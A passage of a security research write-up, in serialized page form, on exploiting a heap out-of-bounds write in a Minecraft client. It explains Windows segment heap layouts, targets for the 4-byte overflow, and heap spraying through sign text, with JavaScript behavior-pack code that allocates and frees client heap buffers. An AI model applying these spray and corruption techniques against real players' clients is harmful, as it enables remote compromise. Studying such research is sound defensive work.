Heap",{"type":26,"tag":35,"props":149228,"children":149229},{},[149230,149232,149239],{"type":32,"value":149231},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":26,"tag":116,"props":149233,"children":149236},{"href":149234,"rel":149235},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[120],[149237],{"type":32,"value":149238},"this talk",{"type":32,"value":149240}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":26,"tag":70,"props":149242,"children":149244},{"id":149243},"low-fragmentation-heap",[149245],{"type":32,"value":149246},"Low Fragmentation Heap",{"type":26,"tag":35,"props":149248,"children":149249},{},[149250,149252,149258],{"type":32,"value":149251},"Low Fragmentation Heap (LFH) services allocations of ",{"type":26,"tag":53,"props":149253,"children":149255},{"className":149254},[],[149256],{"type":32,"value":149257},"0x3ff0",{"type":32,"value":149259}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":26,"tag":35,"props":149261,"children":149262},{},[149263],{"type":32,"value":149264},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":26,"tag":465,"props":149266,"children":149268},{"code":149267}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[149269],{"type":26,"tag":53,"props":149270,"children":149271},{"__ignoreMap":7},[149272],{"type":32,"value":149267},{"type":26,"tag":35,"props":149274,"children":149275},{},[149276],{"type":32,"value":149277},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":26,"tag":70,"props":149279,"children":149281},{"id":149280},"variable-size",[149282],{"type":32,"value":149283},"Variable Size",{"type":26,"tag":35,"props":149285,"children":149286},{},[149287,149289,149295,149297,149303],{"type":32,"value":149288},"This subsegment is used for allocation sizes from ",{"type":26,"tag":53,"props":149290,"children":149292},{"className":149291},[],[149293],{"type":32,"value":149294},"0x4000",{"type":32,"value":149296}," and up to ",{"type":26,"tag":53,"props":149298,"children":149300},{"className":149299},[],[149301],{"type":32,"value":149302},"0x20_000",{"type":32,"value":149304},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":26,"tag":465,"props":149306,"children":149308},{"code":149307}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[149309],{"type":26,"tag":53,"props":149310,"children":149311},{"__ignoreMap":7},[149312],{"type":32,"value":149307},{"type":26,"tag":35,"props":149314,"children":149315},{},[149316,149318,149324],{"type":32,"value":149317},"The header, ",{"type":26,"tag":53,"props":149319,"children":149321},{"className":149320},[],[149322],{"type":32,"value":149323},"HEAP_VS_CHUNK_HEADER",{"type":32,"value":149325},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":26,"tag":18502,"props":149327,"children":149328},{},[],{"type":26,"tag":35,"props":149330,"children":149331},{},[149332],{"type":32,"value":149333},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":26,"tag":35,"props":149335,"children":149336},{},[149337,149339,149346],{"type":32,"value":149338},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":26,"tag":116,"props":149340,"children":149343},{"href":149341,"rel":149342},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[120],[149344],{"type":32,"value":149345},"technique published",{"type":32,"value":149347}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":26,"tag":35,"props":149349,"children":149350},{},[149351],{"type":32,"value":149352},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":26,"tag":35,"props":149354,"children":149355},{},[149356],{"type":32,"value":149357},"In either case, we needed a way to spray the heap before we could proceed.",{"type":26,"tag":41,"props":149359,"children":149361},{"id":149360},"finding-a-way-to-spray-the-heap",[149362],{"type":32,"value":149363},"Finding a Way to Spray the Heap",{"type":26,"tag":35,"props":149365,"children":149366},{},[149367],{"type":32,"value":149368},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":26,"tag":82,"props":149370,"children":149371},{},[149372,149377,149382,149387],{"type":26,"tag":86,"props":149373,"children":149374},{},[149375],{"type":32,"value":149376},"The size of the allocation",{"type":26,"tag":86,"props":149378,"children":149379},{},[149380],{"type":32,"value":149381},"The data written into the allocated buffer",{"type":26,"tag":86,"props":149383,"children":149384},{},[149385],{"type":32,"value":149386},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":26,"tag":86,"props":149388,"children":149389},{},[149390],{"type":32,"value":149391},"The number of created objects (preferably unbounded)",{"type":26,"tag":35,"props":149393,"children":149394},{},[149395],{"type":32,"value":149396},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":26,"tag":70,"props":149398,"children":149400},{"id":149399},"minecraft-signs",[149401],{"type":32,"value":149402},"Minecraft Signs",{"type":26,"tag":35,"props":149404,"children":149405},{},[149406],{"type":32,"value":149407},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":26,"tag":35,"props":149409,"children":149410},{},[149411,149413,149419],{"type":32,"value":149412},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":26,"tag":53,"props":149414,"children":149416},{"className":149415},[],[149417],{"type":32,"value":149418},"std::string",{"type":32,"value":353},{"type":26,"tag":35,"props":149421,"children":149422},{},[149423,149425,149430],{"type":32,"value":149424},"In Microsoft’s C++ implementation, ",{"type":26,"tag":53,"props":149426,"children":149428},{"className":149427},[],[149429],{"type":32,"value":149418},{"type":32,"value":149431}," is structured roughly as follows:",{"type":26,"tag":465,"props":149433,"children":149435},{"code":149434,"language":2854,"meta":7,"className":16220,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[149436],{"type":26,"tag":53,"props":149437,"children":149438},{"__ignoreMap":7},[149439,149450,149457,149469,149485,149509,149516,149527,149539],{"type":26,"tag":475,"props":149440,"children":149441},{"class":477,"line":478},[149442,149446],{"type":26,"tag":475,"props":149443,"children":149444},{"style":482},[149445],{"type":32,"value":9111},{"type":26,"tag":475,"props":149447,"children":149448},{"style":499},[149449],{"type":32,"value":84666},{"type":26,"tag":475,"props":149451,"children":149452},{"class":477,"line":516},[149453],{"type":26,"tag":475,"props":149454,"children":149455},{"style":499},[149456],{"type":32,"value":10589},{"type":26,"tag":475,"props":149458,"children":149459},{"class":477,"line":539},[149460,149465],{"type":26,"tag":475,"props":149461,"children":149462},{"style":482},[149463],{"type":32,"value":149464}," union",{"type":26,"tag":475,"props":149466,"children":149467},{"style":499},[149468],{"type":32,"value":579},{"type":26,"tag":475,"props":149470,"children":149471},{"class":477,"line":548},[149472,149477,149481],{"type":26,"tag":475,"props":149473,"children":149474},{"style":482},[149475],{"type":32,"value":149476}," char",{"type":26,"tag":475,"props":149478,"children":149479},{"style":714},[149480],{"type":32,"value":4282},{"type":26,"tag":475,"props":149482,"children":149483},{"style":499},[149484],{"type":32,"value":16262},{"type":26,"tag":475,"props":149486,"children":149487},{"class":477,"line":558},[149488,149492,149497,149501,149505],{"type":26,"tag":475,"props":149489,"children":149490},{"style":482},[149491],{"type":32,"value":149476},{"type":26,"tag":475,"props":149493,"children":149494},{"style":2375},[149495],{"type":32,"value":149496}," buf",{"type":26,"tag":475,"props":149498,"children":149499},{"style":499},[149500],{"type":32,"value":3440},{"type":26,"tag":475,"props":149502,"children":149503},{"style":903},[149504],{"type":32,"value":40535},{"type":26,"tag":475,"props":149506,"children":149507},{"style":499},[149508],{"type":32,"value":31274},{"type":26,"tag":475,"props":149510,"children":149511},{"class":477,"line":582},[149512],{"type":26,"tag":475,"props":149513,"children":149514},{"style":499},[149515],{"type":32,"value":1942},{"type":26,"tag":475,"props":149517,"children":149518},{"class":477,"line":596},[149519,149523],{"type":26,"tag":475,"props":149520,"children":149521},{"style":482},[149522],{"type":32,"value":16270},{"type":26,"tag":475,"props":149524,"children":149525},{"style":499},[149526],{"type":32,"value":124034},{"type":26,"tag":475,"props":149528,"children":149529},{"class":477,"line":610},[149530,149534],{"type":26,"tag":475,"props":149531,"children":149532},{"style":482},[149533],{"type":32,"value":16270},{"type":26,"tag":475,"props":149535,"children":149536},{"style":499},[149537],{"type":32,"value":149538}," capacity;\n",{"type":26,"tag":475,"props":149540,"children":149541},{"class":477,"line":650},[149542],{"type":26,"tag":475,"props":149543,"children":149544},{"style":499},[149545],{"type":32,"value":16283},{"type":26,"tag":35,"props":149547,"children":149548},{},[149549,149551,149557,149559,149564],{"type":32,"value":149550},"We are primarily interested in the union: ",{"type":26,"tag":53,"props":149552,"children":149554},{"className":149553},[],[149555],{"type":32,"value":149556},"buf",{"type":32,"value":149558}," is used when the string fits within 16 bytes, while ",{"type":26,"tag":53,"props":149560,"children":149562},{"className":149561},[],[149563],{"type":32,"value":13656},{"type":32,"value":149565}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":26,"tag":35,"props":149567,"children":149568},{},[149569],{"type":32,"value":149570},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":26,"tag":35,"props":149572,"children":149573},{},[149574],{"type":32,"value":149575},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":26,"tag":70,"props":149577,"children":149579},{"id":149578},"spraying-with-server-side-scripting",[149580],{"type":32,"value":149581},"Spraying With Server-Side Scripting",{"type":26,"tag":35,"props":149583,"children":149584},{},[149585],{"type":32,"value":149586},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":26,"tag":35,"props":149588,"children":149589},{},[149590,149592,149598,149599,149605],{"type":32,"value":149591},"We wrote ",{"type":26,"tag":53,"props":149593,"children":149595},{"className":149594},[],[149596],{"type":32,"value":149597},"alloc",{"type":32,"value":209},{"type":26,"tag":53,"props":149600,"children":149602},{"className":149601},[],[149603],{"type":32,"value":149604},"free",{"type":32,"value":149606}," helpers that trigger an allocation in the client and free it on demand:",{"type":26,"tag":465,"props":149608,"children":149610},{"code":149609,"language":35311,"meta":7,"className":35309,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[149611],{"type":26,"tag":53,"props":149612,"children":149613},{"__ignoreMap":7},[149614,149622,149664,149697,149742,149754,149761,149768,149829,149856,149871,149878,149885,149914,149929,149936,149943,149951,149975,150026,150037,150044,150051,150088,150115,150122,150151,150181,150188,150215],{"type":26,"tag":475,"props":149615,"children":149616},{"class":477,"line":478},[149617],{"type":26,"tag":475,"props":149618,"children":149619},{"style":552},[149620],{"type":32,"value":149621},"// Allocate sign text in the client\n",{"type":26,"tag":475,"props":149623,"children":149624},{"class":477,"line":516},[149625,149629,149634,149638,149642,149646,149651,149655,149660],{"type":26,"tag":475,"props":149626,"children":149627},{"style":482},[149628],{"type":32,"value":31077},{"type":26,"tag":475,"props":149630,"children":149631},{"style":493},[149632],{"type":32,"value":149633}," alloc",{"type":26,"tag":475,"props":149635,"children":149636},{"style":499},[149637],{"type":32,"value":626},{"type":26,"tag":475,"props":149639,"children":149640},{"style":2375},[149641],{"type":32,"value":123692},{"type":26,"tag":475,"props":149643,"children":149644},{"style":499},[149645],{"type":32,"value":637},{"type":26,"tag":475,"props":149647,"children":149648},{"style":2375},[149649],{"type":32,"value":149650},"fill",{"type":26,"tag":475,"props":149652,"children":149653},{"style":714},[149654],{"type":32,"value":786},{"type":26,"tag":475,"props":149656,"children":149657},{"style":629},[149658],{"type":32,"value":149659},"\"A\"",{"type":26,"tag":475,"props":149661,"children":149662},{"style":499},[149663],{"type":32,"value":676},{"type":26,"tag":475,"props":149665,"children":149666},{"class":477,"line":539},[149667,149671,149675,149679,149684,149688,149693],{"type":26,"tag":475,"props":149668,"children":149669},{"style":586},[149670],{"type":32,"value":2737},{"type":26,"tag":475,"props":149672,"children":149673},{"style":499},[149674],{"type":32,"value":2775},{"type":26,"tag":475,"props":149676,"children":149677},{"style":482},[149678],{"type":32,"value":11496},{"type":26,"tag":475,"props":149680,"children":149681},{"style":2375},[149682],{"type":32,"value":149683}," sign",{"type":26,"tag":475,"props":149685,"children":149686},{"style":482},[149687],{"type":32,"value":10071},{"type":26,"tag":475,"props":149689,"children":149690},{"style":2375},[149691],{"type":32,"value":149692}," signs",{"type":26,"tag":475,"props":149694,"children":149695},{"style":499},[149696],{"type":32,"value":676},{"type":26,"tag":475,"props":149698,"children":149699},{"class":477,"line":548},[149700,149704,149708,149713,149717,149722,149726,149730,149734,149738],{"type":26,"tag":475,"props":149701,"children":149702},{"style":586},[149703],{"type":32,"value":2980},{"type":26,"tag":475,"props":149705,"children":149706},{"style":499},[149707],{"type":32,"value":2775},{"type":26,"tag":475,"props":149709,"children":149710},{"style":2375},[149711],{"type":32,"value":149712},"sign",{"type":26,"tag":475,"props":149714,"children":149715},{"style":499},[149716],{"type":32,"value":353},{"type":26,"tag":475,"props":149718,"children":149719},{"style":2375},[149720],{"type":32,"value":149721},"allocated",{"type":26,"tag":475,"props":149723,"children":149724},{"style":714},[149725],{"type":32,"value":23407},{"type":26,"tag":475,"props":149727,"children":149728},{"style":2375},[149729],{"type":32,"value":149683},{"type":26,"tag":475,"props":149731,"children":149732},{"style":499},[149733],{"type":32,"value":353},{"type":26,"tag":475,"props":149735,"children":149736},{"style":2375},[149737],{"type":32,"value":132397},{"type":26,"tag":475,"props":149739,"children":149740},{"style":499},[149741],{"type":32,"value":676},{"type":26,"tag":475,"props":149743,"children":149744},{"class":477,"line":558},[149745,149750],{"type":26,"tag":475,"props":149746,"children":149747},{"style":586},[149748],{"type":32,"value":149749}," continue",{"type":26,"tag":475,"props":149751,"children":149752},{"style":499},[149753],{"type":32,"value":2729},{"type":26,"tag":475,"props":149755,"children":149756},{"class":477,"line":582},[149757],{"type":26,"tag":475,"props":149758,"children":149759},{"style":499},[149760],{"type":32,"value":750},{"type":26,"tag":475,"props":149762,"children":149763},{"class":477,"line":596},[149764],{"type":26,"tag":475,"props":149765,"children":149766},{"emptyLinePlaceholder":18},[149767],{"type":32,"value":545},{"type":26,"tag":475,"props":149769,"children":149770},{"class":477,"line":610},[149771,149776,149780,149784,149788,149793,149797,149801,149805,149809,149813,149817,149821,149825],{"type":26,"tag":475,"props":149772,"children":149773},{"style":2375},[149774],{"type":32,"value":149775}," sign",{"type":26,"tag":475,"props":149777,"children":149778},{"style":499},[149779],{"type":32,"value":353},{"type":26,"tag":475,"props":149781,"children":149782},{"style":2375},[149783],{"type":32,"value":149712},{"type":26,"tag":475,"props":149785,"children":149786},{"style":499},[149787],{"type":32,"value":353},{"type":26,"tag":475,"props":149789,"children":149790},{"style":493},[149791],{"type":32,"value":149792},"setText",{"type":26,"tag":475,"props":149794,"children":149795},{"style":499},[149796],{"type":32,"value":626},{"type":26,"tag":475,"props":149798,"children":149799},{"style":2375},[149800],{"type":32,"value":149650},{"type":26,"tag":475,"props":149802,"children":149803},{"style":499},[149804],{"type":32,"value":353},{"type":26,"tag":475,"props":149806,"children":149807},{"style":493},[149808],{"type":32,"value":132647},{"type":26,"tag":475,"props":149810,"children":149811},{"style":499},[149812],{"type":32,"value":626},{"type":26,"tag":475,"props":149814,"children":149815},{"style":2375},[149816],{"type":32,"value":123692},{"type":26,"tag":475,"props":149818,"children":149819},{"style":714},[149820],{"type":32,"value":50947},{"type":26,"tag":475,"props":149822,"children":149823},{"style":903},[149824],{"type":32,"value":4234},{"type":26,"tag":475,"props":149826,"children":149827},{"style":499},[149828],{"type":32,"value":6936},{"type":26,"tag":475,"props":149830,"children":149831},{"class":477,"line":650},[149832,149836,149840,149844,149848,149852],{"type":26,"tag":475,"props":149833,"children":149834},{"style":2375},[149835],{"type":32,"value":149775},{"type":26,"tag":475,"props":149837,"children":149838},{"style":499},[149839],{"type":32,"value":353},{"type":26,"tag":475,"props":149841,"children":149842},{"style":2375},[149843],{"type":32,"value":149721},{"type":26,"tag":475,"props":149845,"children":149846},{"style":714},[149847],{"type":32,"value":2383},{"type":26,"tag":475,"props":149849,"children":149850},{"style":482},[149851],{"type":32,"value":1214},{"type":26,"tag":475,"props":149853,"children":149854},{"style":499},[149855],{"type":32,"value":2729},{"type":26,"tag":475,"props":149857,"children":149858},{"class":477,"line":679},[149859,149863,149867],{"type":26,"tag":475,"props":149860,"children":149861},{"style":586},[149862],{"type":32,"value":15449},{"type":26,"tag":475,"props":149864,"children":149865},{"style":2375},[149866],{"type":32,"value":149683},{"type":26,"tag":475,"props":149868,"children":149869},{"style":499},[149870],{"type":32,"value":2729},{"type":26,"tag":475,"props":149872,"children":149873},{"class":477,"line":735},[149874],{"type":26,"tag":475,"props":149875,"children":149876},{"style":499},[149877],{"type":32,"value":851},{"type":26,"tag":475,"props":149879,"children":149880},{"class":477,"line":744},[149881],{"type":26,"tag":475,"props":149882,"children":149883},{"emptyLinePlaceholder":18},[149884],{"type":32,"value":545},{"type":26,"tag":475,"props":149886,"children":149887},{"class":477,"line":753},[149888,149892,149896,149901,149905,149910],{"type":26,"tag":475,"props":149889,"children":149890},{"style":2375},[149891],{"type":32,"value":31139},{"type":26,"tag":475,"props":149893,"children":149894},{"style":499},[149895],{"type":32,"value":353},{"type":26,"tag":475,"props":149897,"children":149898},{"style":493},[149899],{"type":32,"value":149900},"warn",{"type":26,"tag":475,"props":149902,"children":149903},{"style":499},[149904],{"type":32,"value":626},{"type":26,"tag":475,"props":149906,"children":149907},{"style":629},[149908],{"type":32,"value":149909},"\"No more allocs\"",{"type":26,"tag":475,"props":149911,"children":149912},{"style":499},[149913],{"type":32,"value":3533},{"type":26,"tag":475,"props":149915,"children":149916},{"class":477,"line":761},[149917,149921,149925],{"type":26,"tag":475,"props":149918,"children":149919},{"style":586},[149920],{"type":32,"value":16695},{"type":26,"tag":475,"props":149922,"children":149923},{"style":482},[149924],{"type":32,"value":39029},{"type":26,"tag":475,"props":149926,"children":149927},{"style":499},[149928],{"type":32,"value":2729},{"type":26,"tag":475,"props":149930,"children":149931},{"class":477,"line":770},[149932],{"type":26,"tag":475,"props":149933,"children":149934},{"style":499},[149935],{"type":32,"value":3607},{"type":26,"tag":475,"props":149937,"children":149938},{"class":477,"line":794},[149939],{"type":26,"tag":475,"props":149940,"children":149941},{"emptyLinePlaceholder":18},[149942],{"type":32,"value":545},{"type":26,"tag":475,"props":149944,"children":149945},{"class":477,"line":831},[149946],{"type":26,"tag":475,"props":149947,"children":149948},{"style":552},[149949],{"type":32,"value":149950},"// Free an allocated sign in the client\n",{"type":26,"tag":475,"props":149952,"children":149953},{"class":477,"line":845},[149954,149958,149963,149967,149971],{"type":26,"tag":475,"props":149955,"children":149956},{"style":482},[149957],{"type":32,"value":31077},{"type":26,"tag":475,"props":149959,"children":149960},{"style":493},[149961],{"type":32,"value":149962}," free",{"type":26,"tag":475,"props":149964,"children":149965},{"style":499},[149966],{"type":32,"value":626},{"type":26,"tag":475,"props":149968,"children":149969},{"style":2375},[149970],{"type":32,"value":149712},{"type":26,"tag":475,"props":149972,"children":149973},{"style":499},[149974],{"type":32,"value":676},{"type":26,"tag":475,"props":149976,"children":149977},{"class":477,"line":854},[149978,149982,149986,149990,149994,149998,150002,150006,150010,150014,150018,150022],{"type":26,"tag":475,"props":149979,"children":149980},{"style":586},[149981],{"type":32,"value":11988},{"type":26,"tag":475,"props":149983,"children":149984},{"style":499},[149985],{"type":32,"value":2775},{"type":26,"tag":475,"props":149987,"children":149988},{"style":2375},[149989],{"type":32,"value":149712},{"type":26,"tag":475,"props":149991,"children":149992},{"style":714},[149993],{"type":32,"value":2990},{"type":26,"tag":475,"props":149995,"children":149996},{"style":482},[149997],{"type":32,"value":39029},{"type":26,"tag":475,"props":149999,"children":150000},{"style":714},[150001],{"type":32,"value":23407},{"type":26,"tag":475,"props":150003,"children":150004},{"style":2375},[150005],{"type":32,"value":149683},{"type":26,"tag":475,"props":150007,"children":150008},{"style":499},[150009],{"type":32,"value":353},{"type":26,"tag":475,"props":150011,"children":150012},{"style":2375},[150013],{"type":32,"value":149721},{"type":26,"tag":475,"props":150015,"children":150016},{"style":714},[150017],{"type":32,"value":2990},{"type":26,"tag":475,"props":150019,"children":150020},{"style":482},[150021],{"type":32,"value":8769},{"type":26,"tag":475,"props":150023,"children":150024},{"style":499},[150025],{"type":32,"value":676},{"type":26,"tag":475,"props":150027,"children":150028},{"class":477,"line":862},[150029,150033],{"type":26,"tag":475,"props":150030,"children":150031},{"style":586},[150032],{"type":32,"value":15449},{"type":26,"tag":475,"props":150034,"children":150035},{"style":499},[150036],{"type":32,"value":2729},{"type":26,"tag":475,"props":150038,"children":150039},{"class":477,"line":885},[150040],{"type":26,"tag":475,"props":150041,"children":150042},{"style":499},[150043],{"type":32,"value":851},{"type":26,"tag":475,"props":150045,"children":150046},{"class":477,"line":913},[150047],{"type":26,"tag":475,"props":150048,"children":150049},{"emptyLinePlaceholder":18},[150050],{"type":32,"value":545},{"type":26,"tag":475,"props":150052,"children":150053},{"class":477,"line":926},[150054,150059,150063,150067,150071,150075,150079,150084],{"type":26,"tag":475,"props":150055,"children":150056},{"style":2375},[150057],{"type":32,"value":150058}," sign",{"type":26,"tag":475,"props":150060,"children":150061},{"style":499},[150062],{"type":32,"value":353},{"type":26,"tag":475,"props":150064,"children":150065},{"style":2375},[150066],{"type":32,"value":149712},{"type":26,"tag":475,"props":150068,"children":150069},{"style":499},[150070],{"type":32,"value":353},{"type":26,"tag":475,"props":150072,"children":150073},{"style":493},[150074],{"type":32,"value":149792},{"type":26,"tag":475,"props":150076,"children":150077},{"style":499},[150078],{"type":32,"value":626},{"type":26,"tag":475,"props":150080,"children":150081},{"style":629},[150082],{"type":32,"value":150083},"\"\"",{"type":26,"tag":475,"props":150085,"children":150086},{"style":499},[150087],{"type":32,"value":3533},{"type":26,"tag":475,"props":150089,"children":150090},{"class":477,"line":948},[150091,150095,150099,150103,150107,150111],{"type":26,"tag":475,"props":150092,"children":150093},{"style":2375},[150094],{"type":32,"value":150058},{"type":26,"tag":475,"props":150096,"children":150097},{"style":499},[150098],{"type":32,"value":353},{"type":26,"tag":475,"props":150100,"children":150101},{"style":2375},[150102],{"type":32,"value":149721},{"type":26,"tag":475,"props":150104,"children":150105},{"style":714},[150106],{"type":32,"value":2383},{"type":26,"tag":475,"props":150108,"children":150109},{"style":482},[150110],{"type":32,"value":8769},{"type":26,"tag":475,"props":150112,"children":150113},{"style":499},[150114],{"type":32,"value":2729},{"type":26,"tag":475,"props":150116,"children":150117},{"class":477,"line":966},[150118],{"type":26,"tag":475,"props":150119,"children":150120},{"emptyLinePlaceholder":18},[150121],{"type":32,"value":545},{"type":26,"tag":475,"props":150123,"children":150124},{"class":477,"line":979},[150125,150129,150133,150138,150142,150147],{"type":26,"tag":475,"props":150126,"children":150127},{"style":2375},[150128],{"type":32,"value":150058},{"type":26,"tag":475,"props":150130,"children":150131},{"style":499},[150132],{"type":32,"value":353},{"type":26,"tag":475,"props":150134,"children":150135},{"style":2375},[150136],{"type":32,"value":150137},"block",{"type":26,"tag":475,"props":150139,"children":150140},{"style":499},[150141],{"type":32,"value":353},{"type":26,"tag":475,"props":150143,"children":150144},{"style":493},[150145],{"type":32,"value":150146},"setPermutation",{"type":26,"tag":475,"props":150148,"children":150149},{"style":499},[150150],{"type":32,"value":3169},{"type":26,"tag":475,"props":150152,"children":150153},{"class":477,"line":1006},[150154,150159,150163,150168,150172,150177],{"type":26,"tag":475,"props":150155,"children":150156},{"style":2375},[150157],{"type":32,"value":150158}," BlockPermutation",{"type":26,"tag":475,"props":150160,"children":150161},{"style":499},[150162],{"type":32,"value":353},{"type":26,"tag":475,"props":150164,"children":150165},{"style":493},[150166],{"type":32,"value":150167},"resolve",{"type":26,"tag":475,"props":150169,"children":150170},{"style":499},[150171],{"type":32,"value":626},{"type":26,"tag":475,"props":150173,"children":150174},{"style":629},[150175],{"type":32,"value":150176},"\"minecraft:air\"",{"type":26,"tag":475,"props":150178,"children":150179},{"style":499},[150180],{"type":32,"value":647},{"type":26,"tag":475,"props":150182,"children":150183},{"class":477,"line":1046},[150184],{"type":26,"tag":475,"props":150185,"children":150186},{"style":499},[150187],{"type":32,"value":43347},{"type":26,"tag":475,"props":150189,"children":150190},{"class":477,"line":1068},[150191,150195,150199,150203,150207,150211],{"type":26,"tag":475,"props":150192,"children":150193},{"style":2375},[150194],{"type":32,"value":150058},{"type":26,"tag":475,"props":150196,"children":150197},{"style":499},[150198],{"type":32,"value":353},{"type":26,"tag":475,"props":150200,"children":150201},{"style":2375},[150202],{"type":32,"value":132397},{"type":26,"tag":475,"props":150204,"children":150205},{"style":714},[150206],{"type":32,"value":2383},{"type":26,"tag":475,"props":150208,"children":150209},{"style":482},[150210],{"type":32,"value":1214},{"type":26,"tag":475,"props":150212,"children":150213},{"style":499},[150214],{"type":32,"value":2729},{"type":26,"tag":475,"props":150216,"children":150217},{"class":477,"line":1077},[150218],{"type":26,"tag":475,"props":150219,"children":150220},{"style":499},[150221],{"type":32,"value":3607},{"type":26,"tag":35,"props":150223,"children":150224},{},[150225,150227,150233],{"type":32,"value":150226},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":26,"tag":53,"props":150228,"children":150230},{"className":150229},[],[150231],{"type":32,"value":150232},"signs",{"type":32,"value":150234}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":26,"tag":465,"props":150236,"children":150238},{"code":150237,"language":35311,"meta":7,"className":35309,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[150239],{"type":26,"tag":53,"props":150240,"children":150241},{"__ignoreMap":7},[150242,150257,150264,150280,150297,150304,150366,150428,150435,150451,150459,150481,150507,150532,150552,150581,150593,150600,150608,150630,150664,150671,150691,150707,150723,150739,150751,150759,150766,150773,150780,150787,150803,150818,150825,150884,150943,150950,150965,150973,151001,151029,151037,151044,151063,151090,151097,151104,151119,151126,151133,151140,151147,151203,151215,151222,151229,151290,151302],{"type":26,"tag":475,"props":150243,"children":150244},{"class":477,"line":478},[150245,150249,150253],{"type":26,"tag":475,"props":150246,"children":150247},{"style":482},[150248],{"type":32,"value":11496},{"type":26,"tag":475,"props":150250,"children":150251},{"style":2375},[150252],{"type":32,"value":149692},{"type":26,"tag":475,"props":150254,"children":150255},{"style":499},[150256],{"type":32,"value":2729},{"type":26,"tag":475,"props":150258,"children":150259},{"class":477,"line":516},[150260],{"type":26,"tag":475,"props":150261,"children":150262},{"emptyLinePlaceholder":18},[150263],{"type":32,"value":545},{"type":26,"tag":475,"props":150265,"children":150266},{"class":477,"line":539},[150267,150271,150276]